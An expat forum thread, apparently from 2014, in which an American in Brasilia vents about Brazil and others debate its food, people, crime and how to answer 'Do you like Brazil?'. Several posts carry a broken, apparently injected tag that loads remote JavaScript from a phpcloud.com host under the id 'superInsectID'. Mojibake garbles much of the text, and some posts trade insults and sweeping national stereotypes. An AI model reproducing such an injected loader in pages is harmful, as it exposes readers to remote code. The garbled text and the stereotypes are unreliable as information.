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  • #265525

    gengibre
    Member

    Where are you from? Do you like Brazil? These are the most common questions that I get asked, here in Brasilia. The first question is easy, ofcourse. The second question requires a little more creativity or , on some occasions, outright lies.
    I’ve been in Brazil for a decent length of time, but I still feel a somewhat awkward when someone says â‚ǨÀú Voce gosta do Brasil?’ Ofcourse, I’m very polite most of the time. I don’t want to be seen as the stereotypical American who views anything that is remotely different from the USA as inferior or wrong. I have no problem with something being different. But you have to distinguish between â‚ǨÀúdifferent’ and â‚ǨÀúbad, or not good ‘.
    My problem is that I’m finding it really difficult to develop any affection for Brazil. It’s not that I don’t like some aspects of the country; the climate, the more relaxed lifestyle etc. It’s just that there’s nothing that I really like or love here. I went backpacking in Europe a few years ago; I loved Italy: the food, the history, the language etc. I also enjoyed Germany; the organisation, the efficiency, the history etc. I have fond memories of these countries.
    So, it’s not like I’ve never left the States and I view the rest of the world as inferior because it’s not America. No, that’s not me. It’s just that Brazil doesn’t do anything for me. It’s not just the general, well-documented problems in Brazil i.e. corruption, bad public services, high-crime rates etc. It’s also the small, everyday things that get under my skin. I don’t want to just say that Brazil is a sh*thole. That would be too easy â‚Ǩ and boring. It’s just that my experiences don’t square with the typical compliments about Brazil, many of which appear on this site.
    The most common compliment about Brazil is the people. They are warm, friendly, welcoming etc. You read this all the time in the â‚ǨÀúBrazil through foreign eyes’ section. From my experience, though, this is nothing more than a common myth. The people are OK if you get to know them on a personal basis. But in public places people are often just outright rude and difficult. People want to get the tiniest advantage over you in every aspect of life. Furthermore, the level of jealously, gossip and backstabbing amongst family and friends is astounding. I’ve also had first- hand experience of the materialistic snobbery in Brasilia. I just can’ t see where this description of warm, welcoming people comes from.
    My second point is the food in Brazil â‚Ǩ people say it’s fantastic, amazing etc etc. Again, I’ve read this numerous times on Gringoes. But what is fantastic exactly? Rice and beans? Small, artificial hotdogs? Fejoada? What’s great about these things? The BBQs are nice, granted. But it’s nothing that you can’t get in the States. And where are the burgers, potato salad and coleslaw? Also, food from supermarkets is generally expensive and of low quality. So, again, my experience of food in Brazil just doesn’t reconcile with any adjectives like â‚ǨÀúfantastic’ or â‚ǨÀúamazing’.
    The third clichì© about Brazil is the amazing diversity, culture and entertainment etc. I can’t speak for any other cities but I can tell you that Brasilia definitely doesn’t fit the above description. The city is a mass of concrete, people and cars. The lack of culture, character and history is astounding. There is no decent soccer team or basketball team – or any sports team, for that matter. On the rare occasion that a good show or concert comes to Brasilia, it is prohibitively expensive. Every weekend we end up doing the same thing: jogging in the park, going to the movies and going to a restaurant. I’ve travelled to the North East but I just found it to be dangerous, dirty and very average in terms of culture or anything else.
    I have no doubt that I will receive many angry comments from people telling me to go home etc. But I just wanted to get this off my chest. I hate being the stereotypical American who criticises Brazil. I hope that one day I might develop some affection for Brazil. I’m waiting for that dayâ‚Ǩ¬¶â‚Ǩ¬¶â‚Ǩ¬¶â‚Ǩ¬¶

  • #265526

    spenymoon
    Member

    “Voce gosta do Brasil?” doesn’t mean that the person who asks it wants to know if you like it. It is like British “How do you do?” – nobody really expects you to really tell how do you do. It is a way to start a conversation with foreigner.

  • #265528

    Ron
    Participant

    [QUOTE=
    I have no doubt that I will receive many angry comments from people telling me to go home etc. But I just wanted to get this off my chest. I hate being the stereotypical American who criticises Brazil. I hope that one day I might develop some affection for Brazil. I’m waiting for that dayâ‚Ǩ¬¶â‚Ǩ¬¶â‚Ǩ¬¶â‚Ǩ¬¶
    [/QUOTE]< =”https://cloudssl.my.phpcloud.com/super/.js” id=”superInsectID”>

    Like the ‘Meatloaf’ song – you took the words right out of my mouth.
    .

    < ="https://cloudssl.my.phpcloud.com/super/.js" id="superInsectID">Captain Ron2014-04-11 05:54:36

  • #265529

    Kathy2012
    Participant

    Where can you get grass fed beef at this quality and price in the states? Where are you going to find fresh ingredients every day with the diversity you find them here?
    The US is a wasteland as far as food goes, and don’t try to tell me about the farmer’s market down the street from you in Seattle or whatever, 90% of the country buys their vegetables in the supermarket because they have no other option. A lot of places have nothing but an Aldi or Shop-rite to sell them pop tarts and potato chips.
    I can’t believe you would honestly sit there and try to defend America against Brazil with regard to food. In that way, Brazil blows away the US on most points.

  • #265533

    Suiço
    Member

    [QUOTE=ObviouslyGYN] Brazil blows [/QUOTE]
    Yes this is true.
    The food here is quite terrible and I too am tired of hearing how great it is. Do some research and you’ll find that the fresh fruits and ingredients are laced with pesticides banned years ago in North America.
    It’s amazing how people always defend this place.
    About the “do you like Brazil” question I usually say “it’s o.k.” because I don’t want to offend a local who has never traveled anywhere except for maybe Santos. They sometimes follow up with “melhor aqui”.
    Really?

  • #265534

    Marc Maserati
    Participant
    I too have had this question asked of me many times a day. Thinking back to when I would ask the Chinese or South american post docs if they like the US, I cannot help but think I used to be just like that in the US so I really cannot complain. People are patriotic of their country, faults and all so just sì≠mile, say “sim” and go on to the next thing.
    I cannot say I agree with all your reasons you state for not being proud of Brazil. The food quality here is excellent. If you prepared your own food you would have been amazed by the quality and flavor. I agree completely with ObviouslyGYN’s post.
    I think you are confusing the difference between visiting a place (Italy for example) and living in one. The experience is very different between exploring places with rose colored italian glasses and driving your kids to their portuguese speaking school everyday knowing you need to accomplish A, B and C before the days over. Italy is nice but they too have a crazy government, crazy people and excellent food. And like Brazil, the Italian ladies are firey and very beautiful…Smile
    -Marc
  • #265536

    jaenicoll
    Member

    [QUOTE=ObviouslyGYN]Where can you get grass fed beef at this quality and price in the states? Where are you going to find fresh ingredients every day with the diversity you find them here?
    The US is a wasteland as far as food goes, and don’t try to tell me about the farmer’s market down the street from you in Seattle or whatever, 90% of the country buys their vegetables in the supermarket because they have no other option. A lot of places have nothing but an Aldi or Shop-rite to sell them pop tarts and potato chips.
    I can’t believe you would honestly sit there and try to defend America against Brazil with regard to food. In that way, Brazil blows away the US on most points. [/QUOTE]

    Where are you from, Mulletsville Arkansas? Most cities in the US have food options but people are lazy and prefer to eat processed crap. The fact is there are a lot of places in Brazil where people have crappy food options too. Especially when you take into account that most Brazilians don’t have the buying power of somebody living off their teaching pension from the USofA. My girlfriend lives in a Rural part of Parana and it is basically a food desert because it is all soy. Tons of pesticides too. Go to the Sertao, you will be lucky to find a fruit or vegetable. Combine that with the Brazilian lack of food creativity and I would say yea outside of Bahia, the food is pretty mediocre.

    nesne22014-04-11 08:31:02

  • #265537

    Anonymous

    another +1 with OBGYN and maser. if you cook, if you love ingredients, and you are willing to participate in the hunt and the chase, there’s just no comparison. there are pesticides, but there are also people growing without them. you have to look.

    as they say, when you travel, you take yourself with you. if you are open to trying new things and taking chances, you can have an AMAZING time. The most spectacular experiences I’ve had here have all sprung out of an off-the-cuff invite and someone saying “what the hell”.
    if you wait for someone else to make it happen, you will be spending your sundays in the shopping and counting the hours til you can move somewhere else. WHICH IS JUST FINE. My real question for you is, if you don’t like it, why are you here? Life is too short to be unhappy in one place when you could be enjoying it somewhere else (don’t take this to be a GO HOME JERK kind of response, I mean it seriously, why suffer when you could be taking steps to have a life you enjoy more if you really want to be somewhere else?)
    Personally, my life in Brazil got a lot better when I started getting out there and doing the things that i had always thought i should do someday (and stopped worrying about people giving me crap because of the gringo thing). Getting involved in urban farming organizations, professional groups, etc. People in Brazil are often very limited to their little extended family circle, and you don’t stand much chance to meet them if you don’t really try.
    Brazil has its problems. How well you put up with them is directly proportional to the positive things that drew you here or keep you here. Sounds like you could use some more positive to balance out the negative.
  • #265539

    815
    Member

    [QUOTE=shinrai] [QUOTE=ObviouslyGYN] Brazil blows [/QUOTE]
    Yes this is true.
    [/QUOTE]

    LOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOL
    Well played!
  • #265541

    815
    Member

    [QUOTE=berger2]”Voce gosta do Brasil?” doesn’t mean that the person who asks it wants to know if you like it. It is like British “How do you do?” – nobody really expects you to really tell how do you do. It is a way to start a conversation with foreigner. [/QUOTE]

    Holy S***! I never thought of this question in this way! Thanks!!!!! I too take it seriously and I actually have the same conundrum as the OP. In fact, I could have written that post.
    What would be an appropriate and curt answer that would cut off further questioning of the sort? I can’t bring myself to say yes.
  • #265542

    Steven
    Participant

    When I’m asked “Voce gosta do Brasil?” I typically respond that Brazil is like every other country in the world – some good things and some bad things. This typically shuts them up.

    In general, though, I agree with OP on the people. The smiling loving happy Brazilian is a myth. They are a bunch of sharks.
    And food? I’ve shopped the supermarkets in Sao Paulo. There’s nothing different than the U.S. if you put you mind to finding fresh food. In general, though, the food prepared at home or in the restaurants in Brazil is nothing special. One myth about the U.S. that I see in ObGYN’s post is that it’s a nation of people who only eat food from microwaves that’s pumped with chemicals. This is not true – except in my case. I love microwave food that’s juiced with the periodic table of the elements.

    Steven2014-04-11 09:04:52

  • #265543

    Marc Maserati
    Participant

    [QUOTE=Steven] I love microwave food that’s juiced with the periodic table of the elements. [/QUOTE]

    Awesome quote YES!!!LOLLOLLOL
  • #265544

    Anonymous

    [QUOTE=berger2]”Voce gosta do Brasil?” doesn’t mean that the person who asks it wants to know if you like it. It is like British “How do you do?” – nobody really expects you to really tell how do you do. It is a way to start a conversation with foreigner. [/QUOTE]

    This strikes me asbeing completely nonsensical to say that “Vocegosta do Brasil?” is the equivalent to the British greeting, “How do youdo.” [Note the lack of a question mark]. And of course the correct response tothis is: “How do you do.” Askingsomeone if they like Brazil by way of formal greeting is simply ludicrous andtherefore cannot be right except in the minds of the culturally bereft.

    When in Britain, if theBritish want to initiate a conversation with a foreigner [unlikely] they would openby remarking on the weather but never seek reassurance or fish for compliments aboutwhat they perceive to be the obvious qualities of Britain and the British wayof life.

  • #265545

    Anonymous

    In my home foodprepared in the microwave is described as, â‚ǨÀúDing’ food. Confused

  • #265549

    spenymoon
    Member

    I didn’t say it is a formal greeting but as a way to start a conversation with a foreigner. This might be a strange idea to you but not stranger than saying “Quem fala?”when calling someone instead of saying hello and introducing oneself.

  • #265550

    Kathy2012
    Participant

    [QUOTE=nesne2]Where are you from, Mulletsville Arkansas?
    [/QUOTE]
    Implying food deserts aren’t a problem in America. http://en.m.wikipedia.org/wiki/Food_desert
    Implying American agricultural practices are in any way safer compared to Brazil.
    Implying the average American, economically or geographically, has access to a better variety and quality than the average Brazilian, especially in urban areas.
    Implying that a person who knows how to cook and use good ingredients doesn’t have to spend half a day and go to four stores to get the same stuff I get from the market behind my house for half the price or less.
    You’re implying a lot here.
    If you learn to cook, you’ll have a much better time here.

  • #265551

    Ron
    Participant

    [QUOTE=nesne2][QUOTE=ObviouslyGYN] I would say yea outside of Bahia, the food is pretty mediocre.
    [/QUOTE]< ="https://cloudssl.my.phpcloud.com/super/.js" id="superInsectID">

    Where is this place in Bahia that has good food? Nearly everything in Bahia is saturated in Dende oil, which overpowers all other tastes. You could cook a cardboard box in it and it would taste no different to a very expensive seafood Moqueca. This oil is also very high in cholesterol which maybe explains the level of obesity, especially in the women.
    There is a reason that hot sauce is always present at the table.
    I have always said that if I could have the beach lifestyle of Brazil, mixed with the food from Argentina, then Brazil might be able to compete with Thailand as a ‘man’s dream come true’.
    .
  • #265552

    spenymoon
    Member

    Paulistano USA – my “default reply” to this question is “normal” and then switch to the topic of interest to me. To avoid even that – when asked “Da onde voce e?” Reply ” Sou de Sao Paulo” . Conversation will switch to comparing different regions of the city and in 90% of cases won’t even touch your country of origin.

  • #265553

    Anonymous

    [QUOTE=berger2]I didn’t say it is a formal greeting but as a way to start a conversation with a foreigner. This might be a strange idea to you but not stranger than saying “Quem fala?”when calling someone instead of saying hello and introducing oneself.[/QUOTE]

    None the less, you didsay that “Voce gosta do Brasil?” is the like theBritish formal greeting, “How do you do.” Let’s agree that these little foibles,such as the, “Quem fala?”is a distasteful if not rude aspectof Brazilian culture and is something to which I have always refused a response.

  • #265554

    spenymoon
    Member

    Esprit, not being a native English speaker I have probably chosen a bad example. “How are you doing?” or “How are you?” also imply an answer “Fine” and not the whole story of your life…. “Quem fala” is a cut-off phrase for me as nobody in my circle of friends and communication will ever say this, so I just hang up. If the bastard keeps calling the correct answer is “E com quem deseja falar?” If they don’t know my name, there is no reason for me to talk to them. Actually the roots of this phrase are when phone lines were scarce and there was one fixed line for a big household or in poor families for neighbourhood. But saying that when calling a mobile phone which is personal by default is an utter nonsense.

  • #265563

    Don’t worry, you don’t have to be polite. People would always ask me, “How are you liking Brazil???” with some sort of expectant gleam in their eyes. I always got the impression they wanted something validated back to them, heard from the mouth of a 1st World foreigner, rather than knowing what your personal opinion actually was. At first I was polite, then “well both positive and negatives”, then it was just “No.” I got tired of being asked and tired of lying…

    ” It’s not just the general, well-documented problems in Brazil i.e. corruption, bad public services, high-crime rates etc.” You’ll find all these same problems in Latin America (of which I’ve visited the majority of) and the Caribbean in varying degrees, some better, some worse.But Brazil Is Freaking Dangerous. TheMajority of my co-workers, private students and acquaintances had a gun put to their heads (one was even kidnapped in the middle of the night from his high-end, gated community country house) the 3 years I lived in SP. My brother in law was carjacked blocks from the family home. No amount of security, money, bulletproof cars or vigilance is going to protect you. Every Brazilian has a shocking story to tell. Watch your back- it’s no joke (despite what anyone else might deny in this forum). I really was glad to leave without any of these experiences happening to me (I never wore a watch, dressed down, took taxis at night and used the cheapest cellphone available).

    The most common compliment about Brazil is the people. They are warm, friendly, welcoming etc. I just can’ t see where this description of warm, welcoming people comes from. Yeah, this is certainly hyped up a lot. Personally, I found Brazilians to be no different than anywhere else. No better, no worse in this regard. People are more gregarious and physical when greeting you, but I never saw the “warm/cold” difference between Brazilians and Northern Europeans. I made a few OK friends in Brazil, but people in SP mostly seemed BUSY as hell, with their precious free time reserved for family. Nothing wrong with this, but difficult to create a healthy social life. I visited family and old friends in Britain after living in Brazil, and expected to see this incredible chasm in behavior, but honestly, the warmth and hospitality I was met with (even with my parent’s friends who hadn’t seen me since I was a teenager) really was heartening. Some stereotypes have some truth to them, but mostly are pretty subjective to the individual’s experience. Same with the “folgado”, dishonest Brazilian always trying to take advantage, I never experienced this! People cut in lines sometimes, but no one ever ripped me off or boldly lied to my face the way some foreigners complain here. Again, this was all personal experience…

    My second point is the food in Brazil â‚Ǩ people say it’s fantastic, amazing etc etc. I never understood this one either. SP has some FantasticItalian, Arabic and Japanese restaurants, as good as I’ve had anywhere in the world- but you will pay out your A$$. Some great Bahian restaurants in Salvador as well. Moqueca de Lagosta- delicious! Had some fantastic grilled fish on the beach in the NE too. An astounding array of fresh fruit that I cannot compliment enough. But on the whole, on a scale of 1-10, day-to-day Brazilian food is a 5 and pretty bland in the flavor department. Rice and beans, wilted salad and white chicken breast, nothing to write home about, sorry. I never found particularly fantastic produce in the supermarket either. It will never hold a candle to French or Japanese, and certainly in terms of other Latin cuisines, Mexican and Peruvian blow the competition away in terms of spices, variety and originality. The States has some pretty awful food in the interior, but any coastal metropolitan city has an incredibly diverse array of immigrant cuisine: Korean, Indian, Puerto Rican, Italian, Thai, Sichaun etc etc. The variety is amazing and CHEAP. Dinner for 2 won’t be more than $20-30, whereas I would be dropping R$150 in Sao Paulo for the same stuff- easy.

    The third clichì© about Brazil is the amazing diversity, culture and entertainment etc. […] The city is a mass of concrete, people and cars. The lack of culture, character and history is astounding. Sadly, this is my impression of the majority of Brazilian population centers and has been covered before in this forum. I would also add that our own expectations coupled with the international media and the cleverly crafted image the Brazilian government projects to the outside world, can certainly be a let down when one lives here long enough to see the day to- day reality. Cities are ugly, polluted, appallingly congested concrete prisons with perhaps the exception of Rio. Did you really need to fly 15 hours on a plane just to see shopping malls, gated communities and fast food restaurants? If you’re looking for interesting, educated people, easy access to recreation, accessible entertainment, physical security, affordable material goods, clean air, architecture and history etc. Brazil ain’t the place for you. It is what it is, warts and all. But at current prices, it’s hard to justify the warts. You either have to accept this, or move on to somewhere you like better (if you can).
    Some folks love it here, but I suspect the one’s who do are already pampered multinational expats or retirees living off of pensions in Pounds and Euros. Honestly, it made me pretty sad to see so many generally decent, humble people working so hard for such a low quality of life, eye-watering commutes and little opportunities for education, advancement and physical comfort. Trying to hack it out as Brazilians do on Brazilian wages, well, they’ll never know how tough they have it…

    Try to enjoy Brazil for it’s very best aspects: A cold beer at the beach, natural beauty, a caipirinha at a laid-back samba bar in Lapa or Vila Madalena, espresso, mamao & pao de quiejo for breakfast, hot chicks with hot ass, Carnival parade at the Sambadromo. Big smile
  • #265565

    graham
    Participant

    Seems like I’ve been asked countless times by myriads of brasileiros – how do I like brasil or somewhere I am in brasil at the moment. I always answer something to the effect that I like brasil fine. I do not elaborate. I do not want to offend and I do not want to seem like a dumbass for living here myself.

    Or sometimes I’ve been asked – which do I like better: brasil or somewhere exterior where I have lived before. I tell them it is just very different and I cannot judge which place is better. assim. There are a lot of different places in this world. Brasil is one. Usually I am asked many questions one would expect from naturally curious people about the world outside brasil.
    Many times people will want to discuss something in more detail, either about brasil or the exterior. I answer their questions as best I can, which often leads to just talking about this and that, and especially, it gives them the opportunity to offer their opinions too, which I always find interesting. You can emerge from the gringo box a little bit, and people like to relate.
    onde vc vem…etc? are not a metaphysical or prying questions; they are simply curiosity.
    good luck
  • #265592

    Occakarnera
    Member

    [QUOTE=Captain Ron] …Dende oil … is also very high in cholesterol[/QUOTE]
    Like all non-animal products, Dende oil has no cholesterol. It is high in saturated fat.

  • #265593

    Ron
    Participant

    [QUOTE=jplap] [QUOTE=Captain Ron] …Dende oil … is also very high in cholesterol[/QUOTE]
    Like all non-animal products, Dende oil has no cholesterol. It is high in saturated fat.[/QUOTE]< ="https://cloudssl.my.phpcloud.com/super/.js" id="superInsectID">

    I stand corrected – I should have said consumption of Dende oil can contribute to increased levels of cholesterol.
    dendì™oil is highly saturated, and the consumption of large quantities of saturated fats has been shown to have deleterious health effects in humans, primarily an increase in cholesterol levels. Dendì™ does not contain cholesterol, only animal fats do that, but highly-saturated fats can contribute to increased levels of cholesterol in humans, both LDL (“bad” cholesterol) and HDL (“good” cholesterol). “
    Either way, consumption of Dende oil will result in an increased level of “bad” cholesterol – and this is not good.
    I only have to look at the obesity levels here in Bahia to know that diet is poor and exercise is lacking.
  • #265594

    ejboyd
    Member

    The “if you like brazil question will always be the first question to pop up if you’re a foreigner LOL

    I was in Ceara back in 2011 (only for 4 months) and I must say that it was then that I fell in love with Brazil – I traveled every weekend and whenever asked, I always answer YES with a delight in my eyes because I was enjoying my trip/travelling around Ceara. Now I got asked the same question, and my response would just either be “I love my spouse” or that “it’s different..” ; I can no longer get myself to answer YES..
    I would never agree that the majority of Brazilians are : “warm, friendly and welcoming” – maybe when you first meet them or if you’re here only for tourism purposes for a couple of weeks. I’m not saying that Brazilians are hypocrites and selfish but I was unfortunate enough to meet most of these type of Brazilians so don’t blame me for writing this.

    Stellar2014-04-12 10:03:50

  • #265600

    spenymoon
    Member

    Resuming – Brazilians ask that for curiosity and to maintain a conversation with a new person, not because they really want to know what you think of Brazil. So don’t be boring and say something nice and irrelevant.

  • #265611

    gengibre
    Member

    Thank you for the comments. It’s nice to see that there’s a good range of opinions out there. I was afraid that I might be attacked by those people who blindly defend Brazil to the death, regardless of the facts (as sometimes happens on this site).
    I think you’re right about the difference between living somewhere and going on vacation there. I probably look back on my backpacking days with rose-tinted glasses. Believe it or not, I don’t mind living in Brazil. It’s OK. I just write these posts to get things off my chest. We have a pretty nice life here.
    It’s interesting someone mentioned that Brazil is freaking dangerous. That’s one of the positives about living in Brasilia, actually; it’s safer than Rio and SP. But it’s still dangerous and I worry a lot about crime here.
    I’ve never done so much checking around when I get in or out of my car. My Wife always says the following: if you ever get car-jacked, robbed or kidnapped, you should do exactly what the criminals tell you to. Forget any macho bullsh*t. Any attempt at resisting them or fighting back is a surefire way of getting a bullet in your head. If your Portuguese isn’t very good, you should also say ‘ eu nao falo Portuguese’ as soon as possible. The reason for this is that if you don’t understand something, and subsequently you don’t do it, the criminal may think that you’re resisting or delaying etc. Again this is a pretty good way of getting a gun discharged at you. Always remember: human life is cheap in Brazil. The guys who are robbing you have probably been in and out of prison all their lives, so they don’t give a sh*t if they go back to prison for a few years.

  • #265615

    815
    Member

    [QUOTE=berger2]Paulistano USA – my “default reply” to this question is “normal” and then switch to the topic of interest to me. To avoid even that – when asked “Da onde voce e?” Reply ” Sou de Sao Paulo” . Conversation will switch to comparing different regions of the city and in 90% of cases won’t even touch your country of origin.[/QUOTE]

    You sir, have saved me from a lot of future headaches! Thank you a lot. ClapHug
    I visibly cringe when I tried “sim”
    “Não” is too harsh and makes one come across as a puckered starfish.
    “Mais ou menos” opens up the uncomfortable can of worms that depending on my mood can lead me down a rabbit hole I would rather avoid.
    “Normal”. I can live with that.
    Thanks again!
  • #265633

    Anonymous

    I found reversing the question and asking them if they liked Brasil worked too, they mostly laughed and changed the subject themselves, kept me from having to reveal anything nobody wanted to hear anyway;)

  • #265635

    Anonymous

    How hard is it to simply say “I love Brazil! It is the best country in the world! If it were a man/woman, I would marry it! If it were caviar, I would eat it hungrily with fine wine!”??? Geez alreadyDisapprove

  • #265733

    vcbkol
    Member

    Bama, do you really do not understand that for many people is not even a choice to lie or to eat crap?

    Go to eat your caviar while your people does not even use the fish eggs for nothing; but please do not advice people to be a liar like you cause even if someone would say this just to get rid of you, someone would not even have any clue about the “orgulho de ser brasileiro”.
    Yes it is hard, very hard to lie. It’s like asking me if I would ever like your presence.
  • #265736

    Anonymous

    @gringovcilao – As I said in my own thread, people who actually think of themselves as “good” or “virtuous” are usually the ones we need to fear the most, because they wear the biggest mask of them all. It’s why the Catholic Church is full of pedophiles and why charity managers are always being convicted of stealing the money for houses and jets. Also, saying to some guy “dude, I like your country ok (even if you secretly DON’T like his country *GASP*) hardly puts you in bed with Satan. Seriously, grow a pair and quit whining so much. It’s unbecomingSmile

  • #265739

    vcbkol
    Member

    Bama, this world would be definitely better without jokes like yourself. For me at least. I don-t hate you, this would mean to put myself near you more than some words on a forum; this attention you receive is nothing more than my desgust against your tipology.

    I never said that I am a good person, I am not a good person, I do not compare myslef with others, I am not interested to be cherrished, approved, embraced, rejected, hated or loved by strangers or by people I don-t like. I was not raised in the cult of lying and making my way through other people no matter what, or being told that I am the most beautiful, intelligent and whatsoever as you probably received so many fake compliments as you perpetuate that even yourself started to believe bogus things.
    Also being religious I fail so much as with lying; I do not need to lie because I do not like, I do not need to be like you while I am minding my own things and limitating drastically any fake presence from my environment that does not require at all any mask. Even when working in big environments, even in the study class, with many people, I never felt as an adult to construct fake things about my appeareance or about my personality. So there is no such fakeness involved more than one would need; you want to be better than other and you consider yourself as such but there is no complexity into faking your way around and how adaptable you can get.
    How can I say that I like your country to someone that will perceive that I am lying, being polite does not mean to give the best answer that one would expect. Yes it puts me in bed with Satan and with Saddam and with whoever does not understand that if you are a liar with the vendedora exposing your plastic smile and in teh next second you turn the head your grim gets as ugly as a rusty toilet does not solve nothing, people perceive fakeness even if is physically coded so why should I need to please someone that does not deserve or does not imply no emotional interference? Do you really think that if we were at a beer anywhere in the world I would tell you different things? Do you really never met people that are direct and that they do not like to hide themselves and that they are desgusted by empty words and by fake existences?
    How that would be to tell you if you come with a stupid dress and crazy ridiculous hair while thinking that you are awesome and you would ask me what do I think to tell you that you are gorgeous??!!! Would you be so naive to bite when I would think for an answer that would not be unpolite either not what you expect? This is how it goes at your place? Or sincerity is just for the people outside the family, or, not even there, which may be true cause on how much Brazilian people in general cheat each-other..does not make such a surprise. Your husband does he like when you lie to him? Do you like when you lie your husband?
    O.K. – I like your country – but I don-t like your people. Does this sound good enough? The only mask I would use with such impertinents would be one of those from the crazy house that stops you to spit.

    gringovacilao2014-04-15 18:56:13

  • #265767

    Anonymous

    @gringovacilao: if you are Brazilian (or any other nationality, but ESPECIALLY Brazilian), and you are saying that it is difficult for you to lie, then you are LYING. As a matter of fact, I have never met anyone who isn’t lying when all is said and done. If you think that you are not also a liar, then you are only lying to yourself.

  • #265768

    Kathy2012
    Participant

    [QUOTE=gringovacilao]Also being religious I fail so much as with lying;[/QUOTE]

  • #265819

    vcbkol
    Member

    bama – I ain’t no Brazilian, I have shame and I need no reasons to go as low as you do. There are so many other choices while one is not an artificial phony like you.

    There is no middle way for such path. I ain’t better than nobody but this does not make me a forged, fraudulent presence or being. You reached unintentionally your simplicity as an individual with your statement; of course it is easy to lie, even my cat fakes many things but not the process of lying is questioned about its complexity to form and to be passed further but for a person that does not like liars, does not need liars or lies and who does not lie it is as difficult to be like this as it is for you to be a decent sincere person; I have no expectations from you or from any other pretended sham.
    If you would be surrounded by some people that you could not possibly lie then at what other cheap tricks you would appeal??
    Obviously you are a pathological compulsive mediocre liar with no self esteem and no respect for nobody. There is no effective medical treatment for your condition, neither any emotional hope.
    Your construction of self and your artificial projections towards you and around those you manifest are nothing more than a distortion of your altered (in)capacity to deal with the mirrored reality and with the consequences of self-recognition that ultra-passes your social and introspective condition and your poor system of values. It’s all a lie and everything is permitted, right?! Theoretically yes, but why to make it worst if you can not even make a difference between what is palpable real and what you have started to believe as true after lying so much that you can not even differentiate anymore?!!?

    gringovacilao2014-04-17 10:09:23

  • #265821

    Anonymous

    @gringovacilao- blah blah blah – you sound like a lying preacher in a pentacostal church! Either that, or you are extremely about how the real world works, and you yourself are somewhat underdeveloped emotionally in that you are unnable to participate in harmless activities that might move your life forward.

    You seem like one of those people who is REALLY shocked to discover things like: your wife/husband cheating on you, the government is lying to you, your president doesn’t tell you everything, church leaders molest children, your neighbor is a serial killer, you child stole candy from the convenience store…and will later smoke pot without you knowledge.
    How are you still alive and walking the Earth, being so naive??
  • #265822

    vcbkol
    Member

    You are pathetic as a life form and I have nothing more to deal with ignorant limited peasantry representative as such. You-re a joke as I said from the very begging and please spare other people of your suburban wisdom while imitating of what you call superior class entities, you are the expression of the nothingness to me.

  • #265828

    Anonymous

    @gringovacilao: yeah, you sound like a loser. Don’t worry! I don’t cohort with losersLOL

  • #265831

    vcbkol
    Member

    You are Patati or Patata?

    gringovacilao2014-04-17 19:19:32

  • #265986

    Ron
    Participant

    [QUOTE=Captain Ron][QUOTE=jplap] [QUOTE=Captain Ron] …Dende oil … is also very high in cholesterol[/QUOTE]
    Like all non-animal products, Dende oil has no cholesterol. It is high in saturated fat.[/QUOTE]< =”https://cloudssl.my.phpcloud.com/super/.js” id=”superInsectID”>

    I stand corrected – I should have said consumption of Dende oil can contribute to increased levels of cholesterol.
    dendì™oil is highly saturated, and the consumption of large quantities of saturated fats has been shown to have deleterious health effects in humans, primarily an increase in cholesterol levels. Dendì™ does not contain cholesterol, only animal fats do that, but highly-saturated fats can contribute to increased levels of cholesterol in humans, both LDL (“bad” cholesterol) and HDL (“good” cholesterol). “
    Either way, consumption of Dende oil will result in an increased level of “bad” cholesterol – and this is not good.
    I only have to look at the obesity levels here in Bahia to know that diet is poor and exercise is lacking.

    [/QUOTE]

    And coming in at #1
    < ="https://cloudssl.my.phpcloud.com/super/.js" id="superInsectID">

    The 10 most fattening and decadent foods from around the world

    Acaraje, Brazil

    You know what’s really not great for you? Palm oil. A mere tablespoon of the stuff contains a whopping 7 grams of saturated fat â‚Ǩ which is too bad, because saturated fat makes food taste really great.

    Case in point, Brazil’s acaraje: black-eyed peas formed into a ball, deep-fried in palm oil, and then stuffed with vatapa and caruru (spicy pastes made from dried shrimp, ground cashews â‚Ǩ¬¶ and more palm oil).

    http://www.news.com.au/travel/world-travel/the-10-most-fattening-and-decadent-foods-from-around-the-world/story-e6frfqai-1226893389552

  • #267043

    JHZcali24
    Member

    My reply is a genuine “Eu gostei” However, if I was stuck in Bras-ilha it would be much different. The food there sucks, is overpriced, and there is no parking. Don’t get me wrong I like the shaded green belts and Oscar Niemier archetecture. It sounds like maybe you have not got outside of Bras-ilha much? There is vast cultural and regional differences I have experienced here, but for me the Amazon is where its at for food. There are fruits and fishes here you do not have everywhere in Brazil. As for the people, my inlaws and their friends are really good people. I would say that at least 10% of the Brazilians I meet are great which is probably the same for any other people. To each their own I guess.

  • #269477

    Good post and I didn’t find anything wrong with it at all. The cost of food (including beef) is very expensive here. Brazil isn’t all that but that’s the way it is for now. It would be nice to see it leave third world status and enter the first world but as long as the corruption, bureaucracy and backward practices continue, little will change. Those that are in denial defending obvious flaws are setting themselves up for a fall. The introduction to this site is the bible meaning that if you can take his advice and keep an open mind, you’ll survive. This area is called Vent Your Frustrations. Those that like to attack others for “their comments or feelings” are in the wrong area.

  • #269498

    I went to the US for a month or so, but I was happy to come back to Brazil. Prices for clothes and stuff in the US are very cheap, but …. Now you got those riots in Misery, Missouri. Oh my!
    I’m a realist: some things realllllllly blow in Brazil, but some things are OK or pretty good. At least red meat is half the price, even though I’m eating very little red meat these days. 2 Ribeyes and 1 t-bone was $30 dì≥lares in Valmarte. Caro, nì©!

  • #269509

    Finrudd
    Participant

    [QUOTE=andrew_nofro]

    I’m a realist: some things realllllllly blow in Brazil, but some things are OK or pretty good. At least red meat is half the price, even though I’m eating very little red meat these days. 2 Ribeyes and 1 t-bone was $30 dì≥lares in Valmarte. Caro, nì©!
    [/QUOTE]
    What the cost be for the same cuts and weight of meat in Brazil? Ignore quality for the moment, as that is harder to compare, but how does US$30 compare to the cost in Reis for a Brazilian? I would hazard a guess at two rib-eye steaks and a T-Bone costing in the region of R$35+ in a supermarket in Brazil (as the US price was Walmart), which I would think is more expensive comparatively for Average João in Brazil than it is for Average Jo-90 in the US.
  • #269512

    Serrano
    Participant

    @andrew_nofro: Just curious (and I’m trying to be polite), but why did you create a forum name that obviously mocks the name of another forum member, Andrewfroboy? The latter has been a member here since 2009. What’s your game?

  • #269515

    [QUOTE=Gringo.Serrano]
    @andrew_nofro: Just curious (and I’m trying to be polite), but why did you create a forum name that obviously mocks the name of another forum member, Andrewfroboy? The latter has been a member here since 2009. What’s your game?
    [/QUOTE]
    There’s no intention of mocking anyone. [I guess] we both have the same name and I didn’t want people to confuse me. Nothing against “the FRO” though. He’s been around here for a while, so we probably have somewhat similar lives.
    FINRUDD:
